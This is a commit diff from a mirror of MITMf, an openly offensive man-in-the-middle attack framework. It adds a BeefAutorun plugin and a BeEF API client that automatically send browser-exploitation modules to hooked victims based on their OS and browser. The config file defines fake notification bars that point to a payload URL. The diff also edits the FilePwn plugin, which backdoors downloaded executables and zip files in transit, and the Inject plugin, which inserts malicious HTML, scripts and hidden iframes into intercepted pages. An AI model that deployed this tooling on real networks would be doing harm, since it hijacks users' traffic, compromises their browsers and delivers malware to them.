mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib
This commit is contained in:
parent
e7cc6316f1
commit
73e7ca2f3d
17 changed files with 409 additions and 240 deletions
1
.gitignore
vendored
1
.gitignore
vendored
|
@ -1,4 +1,3 @@
|
||||||
*.pyc
|
*.pyc
|
||||||
/plugins/old_plugins/
|
/plugins/old_plugins/
|
||||||
backdoored/
|
backdoored/
|
||||||
bdfactory/
|
|
||||||
|
|
|
@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p
|
||||||
|
|
||||||
Availible plugins:
|
Availible plugins:
|
||||||
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
|
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
|
||||||
|
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
|
||||||
- AppCachePoison - Perform app cache poison attacks
|
- AppCachePoison - Perform app cache poison attacks
|
||||||
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
|
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
|
||||||
- CacheKill - Kills page caching by modifying headers
|
- CacheKill - Kills page caching by modifying headers
|
||||||
|
@ -22,7 +23,7 @@ Availible plugins:
|
||||||
|
|
||||||
So far the most significant changes have been:
|
So far the most significant changes have been:
|
||||||
|
|
||||||
- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing
|
- Spoof plugin now supports ICMP, ARP and DNS spoofing
|
||||||
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
|
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
|
||||||
|
|
||||||
- Usage of third party tools has been completely removed (e.g. ettercap)
|
- Usage of third party tools has been completely removed (e.g. ettercap)
|
||||||
|
@ -31,13 +32,17 @@ So far the most significant changes have been:
|
||||||
|
|
||||||
- Addition of the JsKeylogger plugin
|
- Addition of the JsKeylogger plugin
|
||||||
|
|
||||||
|
- Addition of the BeefAutorun plugin
|
||||||
|
|
||||||
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
|
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
|
||||||
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
|
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
|
||||||
|
|
||||||
- Added msfrpc.py for interfacing with Metasploits rpc server
|
- Added msfrpc.py for interfacing with Metasploits rpc server
|
||||||
|
|
||||||
|
- Added beefapi.py for interfacing with BeEF's RESTfulAPI
|
||||||
|
|
||||||
- Added Replace plugin
|
- Added Replace plugin
|
||||||
|
|
||||||
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
|
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
|
||||||
|
|
||||||
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
|
- JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
|
||||||
|
|
31
config_files/beefautorun.cfg
Normal file
31
config_files/beefautorun.cfg
Normal file
|
@ -0,0 +1,31 @@
|
||||||
|
#Example config file for the BeefAutorun plugin
|
||||||
|
|
||||||
|
mode = oneshot #can be set to loop, or oneshot
|
||||||
|
|
||||||
|
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
|
||||||
|
#in oneshot mode the plugin will run modules only once per hooked browser
|
||||||
|
|
||||||
|
[ALL] #Runs specified modules on all hooked browsers
|
||||||
|
|
||||||
|
'Man-In-The-Browser'= '{}'
|
||||||
|
|
||||||
|
|
||||||
|
[targets] #Runs specified modules based on OS and Browser type
|
||||||
|
|
||||||
|
[[Windows]] #Target all Windows versions using Firefox and Internet Explorer
|
||||||
|
|
||||||
|
[[[FF]]]
|
||||||
|
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
|
||||||
|
|
||||||
|
[[[IE]]]
|
||||||
|
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
|
||||||
|
|
||||||
|
[[Windows 7]] #Target only Windows 7 using Chrome
|
||||||
|
|
||||||
|
[[[C]]]
|
||||||
|
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
|
||||||
|
|
||||||
|
[[Linux]] #Target Linux platforms using Chrome
|
||||||
|
|
||||||
|
[[[C]]]
|
||||||
|
'Redirect Browser (Rickroll)' = '{}'
|
|
@ -2,9 +2,7 @@
|
||||||
import requests
|
import requests
|
||||||
import json
|
import json
|
||||||
from random import sample
|
from random import sample
|
||||||
from time import sleep
|
|
||||||
from string import lowercase, digits
|
from string import lowercase, digits
|
||||||
from unicodedata import normalize
|
|
||||||
|
|
||||||
|
|
||||||
class BeefAPI:
|
class BeefAPI:
|
||||||
|
@ -51,9 +49,9 @@ class BeefAPI:
|
||||||
return self.get_sessions("offline", "ip")
|
return self.get_sessions("offline", "ip")
|
||||||
|
|
||||||
def get_sessions(self, state, value):
|
def get_sessions(self, state, value):
|
||||||
r = requests.get(self.hookurl).json()
|
|
||||||
hooks = []
|
hooks = []
|
||||||
try:
|
try:
|
||||||
|
r = requests.get(self.hookurl + self.token).json()
|
||||||
for v in r["hooked-browsers"][state].items():
|
for v in r["hooked-browsers"][state].items():
|
||||||
hooks.append(str(v[1][value]))
|
hooks.append(str(v[1][value]))
|
||||||
return hooks
|
return hooks
|
||||||
|
@ -61,72 +59,72 @@ class BeefAPI:
|
||||||
print "beefapi ERROR: %s" % e
|
print "beefapi ERROR: %s" % e
|
||||||
|
|
||||||
def getModid(self, name): #Returns module id
|
def getModid(self, name): #Returns module id
|
||||||
url = self.url + "%s" % (self.token)
|
url = self.mod_url + self.token
|
||||||
r = requests.get(url).json()
|
|
||||||
try:
|
try:
|
||||||
|
r = requests.get(url).json()
|
||||||
for v in r.values():
|
for v in r.values():
|
||||||
if v["name"] == name:
|
if v["name"] == name:
|
||||||
return v["id"]
|
return v["id"]
|
||||||
except KeyError:
|
except Exception, e:
|
||||||
print "beefapi ERROR: module '" + name + "' not found!"
|
print "beefapi ERROR: %s" % e
|
||||||
return None
|
|
||||||
|
|
||||||
def getModname(self, id): #Returns module name
|
def getModname(self, id): #Returns module name
|
||||||
url = self.url + "modules?token=%s" % (self.token)
|
url = self.mod_url + self.token
|
||||||
r = requests.get(url).json()
|
|
||||||
try:
|
try:
|
||||||
|
r = requests.get(url).json()
|
||||||
for v in r.values():
|
for v in r.values():
|
||||||
if v["id"] == id:
|
if v["id"] == id:
|
||||||
return v["name"]
|
return v["name"]
|
||||||
except KeyError:
|
except Exception, e:
|
||||||
print "beefapi ERROR: module '" + id + "' not found!"
|
print "beefapi ERROR: %s" % e
|
||||||
return None
|
|
||||||
|
|
||||||
def host2session(self, ip): # IP => Session
|
def host2session(self, ip): #IP => Session
|
||||||
url = self.url + "hooks?token=%s" % (self.token)
|
url = self.hookurl + self.token
|
||||||
r = requests.get(url).json()
|
|
||||||
try:
|
try:
|
||||||
|
r = requests.get(url).json()
|
||||||
for v in r["hooked-browsers"]["online"].items():
|
for v in r["hooked-browsers"]["online"].items():
|
||||||
if v[1]["ip"] == ip:
|
if v[1]["ip"] == ip:
|
||||||
return v[1]["session"]
|
return v[1]["session"]
|
||||||
else:
|
else:
|
||||||
session = None
|
session = None
|
||||||
|
|
||||||
if session == None:
|
if session is None:
|
||||||
for v in r["hooked-browsers"]["offline"].items():
|
for v in r["hooked-browsers"]["offline"].items():
|
||||||
if v[1]["ip"] == ip:
|
if v[1]["ip"] == ip:
|
||||||
return v[1]["session"]
|
return v[1]["session"]
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
except KeyError:
|
except Exception, e:
|
||||||
pass
|
print "beefapi ERROR: %s" % e
|
||||||
|
|
||||||
def session2host(self, session): # Session => IP
|
|
||||||
url = self.url + "hooks?token=%s" % (self.token)
|
|
||||||
r = requests.get(url).json()
|
|
||||||
|
|
||||||
|
def session2host(self, session): #Session => IP
|
||||||
|
url = self.hookurl + self.token
|
||||||
try:
|
try:
|
||||||
|
r = requests.get(url).json()
|
||||||
for v in r["hooked-browsers"]["online"].items():
|
for v in r["hooked-browsers"]["online"].items():
|
||||||
if v[1]["session"] == session:
|
if v[1]["session"] == session:
|
||||||
return v[1]["ip"]
|
return v[1]["ip"]
|
||||||
else:
|
else:
|
||||||
ip = None
|
ip = None
|
||||||
|
|
||||||
if ip == None:
|
if ip is None:
|
||||||
for v in r["hooked-browsers"]["offline"].items():
|
for v in r["hooked-browsers"]["offline"].items():
|
||||||
if v[1]["session"] == session:
|
if v[1]["session"] == session:
|
||||||
return v[1]["ip"]
|
return v[1]["ip"]
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
except KeyError:
|
except Exception, e:
|
||||||
pass
|
print "beefapi ERROR: %s" % e
|
||||||
|
|
||||||
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
|
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
|
||||||
|
try:
|
||||||
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
|
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
|
||||||
payload = json.dumps(options)
|
payload = json.dumps(options)
|
||||||
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
|
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
|
||||||
return requests.post(url, headers=headers, data=payload).json()
|
return requests.post(url, headers=headers, data=payload).json()
|
||||||
|
except Exception, e:
|
||||||
|
print "beefapi ERROR: %s" % e
|
||||||
|
|
||||||
def moduleResult(self, session, mod_id, cmd_id):
|
def moduleResult(self, session, mod_id, cmd_id):
|
||||||
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
|
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from sslstrip.ResponseTampererFactory import ResponseTampererFactory
|
from sslstrip.ResponseTampererFactory import ResponseTampererFactory
|
||||||
import threading
|
#import threading
|
||||||
|
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
name = "App Cache Poison"
|
name = "App Cache Poison"
|
||||||
|
@ -8,12 +9,12 @@ class AppCachePlugin(Plugin):
|
||||||
desc = "Performs App Cache Poisoning attacks"
|
desc = "Performs App Cache Poisoning attacks"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.config_file = options.tampercfg
|
self.config_file = options.tampercfg
|
||||||
|
|
||||||
if self.config_file == None:
|
if self.config_file is None:
|
||||||
self.config_file = "./config_files/app_cache_poison.cfg"
|
self.config_file = "./config_files/app_cache_poison.cfg"
|
||||||
|
|
||||||
print "[*] App Cache Poison plugin online"
|
print "[*] App Cache Poison plugin online"
|
||||||
|
|
117
plugins/BeefAutorun.py
Normal file
117
plugins/BeefAutorun.py
Normal file
|
@ -0,0 +1,117 @@
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from time import sleep
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import libs.beefapi as beefapi
|
||||||
|
|
||||||
|
try:
|
||||||
|
from configobj import ConfigObj
|
||||||
|
except:
|
||||||
|
sys.exit('[-] configobj library not installed!')
|
||||||
|
|
||||||
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
|
||||||
|
|
||||||
|
class BeefAutorun(Plugin):
|
||||||
|
name = "BeEFAutorun"
|
||||||
|
optname = "beefauto"
|
||||||
|
has_opts = True
|
||||||
|
desc = "Autoruns BeEF modules based on Browser or OS type"
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
self.options = options
|
||||||
|
self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg
|
||||||
|
self.beefip = options.beefip
|
||||||
|
self.beefport = options.beefport
|
||||||
|
self.beefuser = options.beefuser
|
||||||
|
self.beefpass = options.beefpass
|
||||||
|
|
||||||
|
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
|
||||||
|
if beef.login(self.beefuser, self.beefpass):
|
||||||
|
print "[*] Successfully logged in to BeEF"
|
||||||
|
else:
|
||||||
|
sys.exit("[-] Error logging in to BeEF!")
|
||||||
|
|
||||||
|
userconfig = ConfigObj(self.autoruncfg)
|
||||||
|
self.Mode = userconfig['mode']
|
||||||
|
if self.Mode == 'oneshot':
|
||||||
|
print '[*] Setting mode to oneshot'
|
||||||
|
elif self.Mode == 'loop':
|
||||||
|
print '[*] Setting mode to loop'
|
||||||
|
else:
|
||||||
|
sys.exit("[-] Error: unrecognized mode set in config file")
|
||||||
|
|
||||||
|
self.All_modules = userconfig["ALL"]
|
||||||
|
self.Targeted_modules = userconfig["targets"]
|
||||||
|
|
||||||
|
print "[*] BeEFAutorun plugin online"
|
||||||
|
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def autorun(self, beef):
|
||||||
|
already_hooked = []
|
||||||
|
already_ran = []
|
||||||
|
while True:
|
||||||
|
sessions = beef.onlineSessions()
|
||||||
|
if (sessions is not None) and (len(sessions) > 0):
|
||||||
|
for session in sessions:
|
||||||
|
session_ip = beef.session2host(session)
|
||||||
|
if session not in already_hooked:
|
||||||
|
logging.info("%s >> joined the horde!" % session_ip)
|
||||||
|
already_hooked.append(session)
|
||||||
|
|
||||||
|
if self.Mode == 'oneshot':
|
||||||
|
if session not in already_ran:
|
||||||
|
self.execModules(session, session_ip, beef)
|
||||||
|
already_ran.append(session)
|
||||||
|
|
||||||
|
elif self.Mode == 'loop':
|
||||||
|
self.execModules(session, session_ip, beef)
|
||||||
|
sleep(10)
|
||||||
|
|
||||||
|
else:
|
||||||
|
sleep(1)
|
||||||
|
|
||||||
|
def execModules(self, session, session_ip, beef):
|
||||||
|
session_browser = beef.sessionInfo(session)["BrowserName"]
|
||||||
|
session_os = beef.sessionInfo(session)["OsName"]
|
||||||
|
|
||||||
|
if len(self.All_modules) > 0:
|
||||||
|
logging.info("%s >> sending generic modules" % session_ip)
|
||||||
|
for module, options in self.All_modules.items():
|
||||||
|
mod_id = beef.getModid(module)
|
||||||
|
resp = beef.runModule(session, mod_id, json.loads(options))
|
||||||
|
if resp["success"] == 'true':
|
||||||
|
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||||
|
else:
|
||||||
|
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||||
|
sleep(0.5)
|
||||||
|
|
||||||
|
logging.info("%s >> sending targeted modules" % session_ip)
|
||||||
|
for os in self.Targeted_modules:
|
||||||
|
if (os in session_os) or (os == session_os):
|
||||||
|
browsers = self.Targeted_modules[os]
|
||||||
|
if len(browsers) > 0:
|
||||||
|
for browser in browsers:
|
||||||
|
if browser == session_browser:
|
||||||
|
modules = self.Targeted_modules[os][browser]
|
||||||
|
if len(modules) > 0:
|
||||||
|
for module, options in modules.items():
|
||||||
|
mod_id = beef.getModid(module)
|
||||||
|
resp = beef.runModule(session, mod_id, json.loads(options))
|
||||||
|
if resp["success"] == 'true':
|
||||||
|
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||||
|
else:
|
||||||
|
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||||
|
sleep(0.5)
|
||||||
|
|
||||||
|
def add_options(self, options):
|
||||||
|
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
|
||||||
|
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
|
||||||
|
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
|
||||||
|
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
|
||||||
|
options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]')
|
|
@ -3,14 +3,15 @@ from plugins.Inject import Inject
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
|
||||||
class BrowserProfiler(Inject, Plugin):
|
class BrowserProfiler(Inject, Plugin):
|
||||||
name = "Browser Profiler"
|
name = "Browser Profiler"
|
||||||
optname = "browserprofiler"
|
optname = "browserprofiler"
|
||||||
desc = "Attempts to enumerate all browser plugins of connected clients"
|
desc = "Attempts to enumerate all browser plugins of connected clients"
|
||||||
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
|
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
self.dic_output = {} # so other plugins can access the results
|
self.dic_output = {} # so other plugins can access the results
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
|
||||||
class CacheKill(Plugin):
|
class CacheKill(Plugin):
|
||||||
name = "CacheKill Plugin"
|
name = "CacheKill Plugin"
|
||||||
optname = "cachekill"
|
optname = "cachekill"
|
||||||
desc = "Kills page caching by modifying headers"
|
desc = "Kills page caching by modifying headers"
|
||||||
implements = ["handleHeader","connectionMade"]
|
implements = ["handleHeader", "connectionMade"]
|
||||||
has_opts = True
|
has_opts = True
|
||||||
bad_headers = ['if-none-match','if-modified-since']
|
bad_headers = ['if-none-match', 'if-modified-since']
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self, options):
|
||||||
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
|
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
|
||||||
|
|
||||||
def handleHeader(self,request,key,value):
|
def handleHeader(self, request, key, value):
|
||||||
'''Handles all response headers'''
|
'''Handles all response headers'''
|
||||||
request.client.headers['Expires'] = "0"
|
request.client.headers['Expires'] = "0"
|
||||||
request.client.headers['Cache-Control'] = "no-cache"
|
request.client.headers['Cache-Control'] = "no-cache"
|
||||||
|
|
||||||
def connectionMade(self,request):
|
def connectionMade(self, request):
|
||||||
'''Handles outgoing request'''
|
'''Handles outgoing request'''
|
||||||
request.headers['Pragma'] = 'no-cache'
|
request.headers['Pragma'] = 'no-cache'
|
||||||
for h in self.bad_headers:
|
for h in self.bad_headers:
|
||||||
|
|
|
@ -2,7 +2,8 @@
|
||||||
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
|
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
|
||||||
#################################################################################################
|
#################################################################################################
|
||||||
|
|
||||||
import sys, os
|
import sys
|
||||||
|
import os
|
||||||
import pefile
|
import pefile
|
||||||
import zipfile
|
import zipfile
|
||||||
import logging
|
import logging
|
||||||
|
@ -18,6 +19,7 @@ try:
|
||||||
except:
|
except:
|
||||||
sys.exit('[-] configobj library not installed!')
|
sys.exit('[-] configobj library not installed!')
|
||||||
|
|
||||||
|
|
||||||
class FilePwn(Plugin):
|
class FilePwn(Plugin):
|
||||||
name = "FilePwn"
|
name = "FilePwn"
|
||||||
optname = "filepwn"
|
optname = "filepwn"
|
||||||
|
@ -33,13 +35,10 @@ class FilePwn(Plugin):
|
||||||
elif aString.lower() == 'none':
|
elif aString.lower() == 'none':
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.filepwncfg = options.filepwncfg
|
self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg
|
||||||
|
|
||||||
if self.filepwncfg == None:
|
|
||||||
self.filepwncfg = "./config_files/filepwn.cfg"
|
|
||||||
|
|
||||||
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
|
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
|
||||||
'application/x-msdos-program', 'binary/octet-stream']
|
'application/x-msdos-program', 'binary/octet-stream']
|
||||||
|
@ -263,7 +262,7 @@ class FilePwn(Plugin):
|
||||||
|
|
||||||
return aZipFile
|
return aZipFile
|
||||||
|
|
||||||
def handleResponse(self,request,data):
|
def handleResponse(self, request, data):
|
||||||
|
|
||||||
content_header = request.client.headers['Content-Type']
|
content_header = request.client.headers['Content-Type']
|
||||||
|
|
||||||
|
@ -272,7 +271,7 @@ class FilePwn(Plugin):
|
||||||
bd_zip = self.zipGrinder(data)
|
bd_zip = self.zipGrinder(data)
|
||||||
if bd_zip:
|
if bd_zip:
|
||||||
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
||||||
return {'request':request,'data':bd_zip}
|
return {'request': request, 'data': bd_zip}
|
||||||
|
|
||||||
elif content_header in self.binaryMimeTypes:
|
elif content_header in self.binaryMimeTypes:
|
||||||
logging.info("%s Detected supported binary type!" % request.client.getClientIP())
|
logging.info("%s Detected supported binary type!" % request.client.getClientIP())
|
||||||
|
@ -286,11 +285,11 @@ class FilePwn(Plugin):
|
||||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||||
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
||||||
return {'request':request,'data':bd_binary}
|
return {'request': request, 'data': bd_binary}
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
|
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
|
||||||
return {'request':request,'data':data}
|
return {'request': request, 'data': data}
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
options.add_argument("--filepwncfg", type=file, help="Specify a config file")
|
options.add_argument("--filepwncfg", type=file, help="Specify a config file")
|
|
@ -1,16 +1,21 @@
|
||||||
import os,subprocess,logging,time,re
|
#import os
|
||||||
|
#import subprocess
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
import re
|
||||||
import argparse
|
import argparse
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
|
|
||||||
class Inject(CacheKill,Plugin):
|
|
||||||
|
class Inject(CacheKill, Plugin):
|
||||||
name = "Inject"
|
name = "Inject"
|
||||||
optname = "inject"
|
optname = "inject"
|
||||||
implements = ["handleResponse","handleHeader","connectionMade"]
|
implements = ["handleResponse", "handleHeader", "connectionMade"]
|
||||||
has_opts = True
|
has_opts = True
|
||||||
desc = "Inject arbitrary content into HTML content"
|
desc = "Inject arbitrary content into HTML content"
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.html_src = options.html_url
|
self.html_src = options.html_url
|
||||||
|
@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin):
|
||||||
self.implements.remove("handleHeader")
|
self.implements.remove("handleHeader")
|
||||||
self.implements.remove("connectionMade")
|
self.implements.remove("connectionMade")
|
||||||
|
|
||||||
if options.html_file != None:
|
if options.html_file is not None:
|
||||||
self.html_payload += options.html_file.read()
|
self.html_payload += options.html_file.read()
|
||||||
|
|
||||||
self.ctable = {}
|
self.ctable = {}
|
||||||
|
@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin):
|
||||||
self.mime = "text/html"
|
self.mime = "text/html"
|
||||||
print "[*] Inject plugin online"
|
print "[*] Inject plugin online"
|
||||||
|
|
||||||
|
def handleResponse(self, request, data):
|
||||||
def handleResponse(self,request,data):
|
|
||||||
#We throttle to only inject once every two seconds per client
|
#We throttle to only inject once every two seconds per client
|
||||||
#If you have MSF on another host, you may need to check prior to injection
|
#If you have MSF on another host, you may need to check prior to injection
|
||||||
#print "http://" + request.client.getRequestHostname() + request.uri
|
#print "http://" + request.client.getRequestHostname() + request.uri
|
||||||
ip,hn,mime = self._get_req_info(request)
|
ip, hn, mime = self._get_req_info(request)
|
||||||
if self._should_inject(ip,hn,mime) and \
|
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
||||||
(not self.js_src==self.html_src==None or not self.html_payload==""):
|
|
||||||
|
|
||||||
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
|
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
||||||
self.ctable[ip] = time.time()
|
self.ctable[ip] = time.time()
|
||||||
self.dtable[ip+hn] = True
|
self.dtable[ip+hn] = True
|
||||||
self.count+=1
|
self.count += 1
|
||||||
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
|
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
|
||||||
return {'request':request,'data':data}
|
return {'request': request, 'data': data}
|
||||||
else:
|
else:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin):
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self,options):
|
||||||
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
||||||
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||||
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
|
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
|
||||||
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
|
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
|
||||||
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
|
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
|
||||||
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
|
options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
||||||
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
|
options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
||||||
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
|
options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
|
||||||
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
|
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||||
|
|
||||||
def _should_inject(self,ip,hn,mime):
|
def _should_inject(self, ip, hn, mime):
|
||||||
if self.count_limit==self.rate_limit==None and not self.per_domain:
|
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||||
return True
|
return True
|
||||||
if self.count_limit != None and self.count > self.count_limit:
|
|
||||||
|
if self.count_limit is not None and self.count > self.count_limit:
|
||||||
#print "1"
|
#print "1"
|
||||||
return False
|
return False
|
||||||
if self.rate_limit != None:
|
|
||||||
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
|
if self.rate_limit is not None:
|
||||||
|
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if self.per_domain:
|
if self.per_domain:
|
||||||
return not ip+hn in self.dtable
|
return not ip+hn in self.dtable
|
||||||
#print mime
|
#print mime
|
||||||
return mime.find(self.mime)!=-1
|
return mime.find(self.mime) != -1
|
||||||
|
|
||||||
def _get_req_info(self,request):
|
def _get_req_info(self, request):
|
||||||
ip = request.client.getClientIP()
|
ip = request.client.getClientIP()
|
||||||
hn = request.client.getRequestHostname()
|
hn = request.client.getRequestHostname()
|
||||||
mime = request.client.headers['Content-Type']
|
mime = request.client.headers['Content-Type']
|
||||||
return (ip,hn,mime)
|
return (ip, hn, mime)
|
||||||
|
|
||||||
def _get_iframe(self):
|
def _get_iframe(self):
|
||||||
if self.html_src != None:
|
if self.html_src is not None:
|
||||||
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
|
return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
|
||||||
return ''
|
return ''
|
||||||
|
|
||||||
def _get_js(self):
|
def _get_js(self):
|
||||||
if self.js_src != None:
|
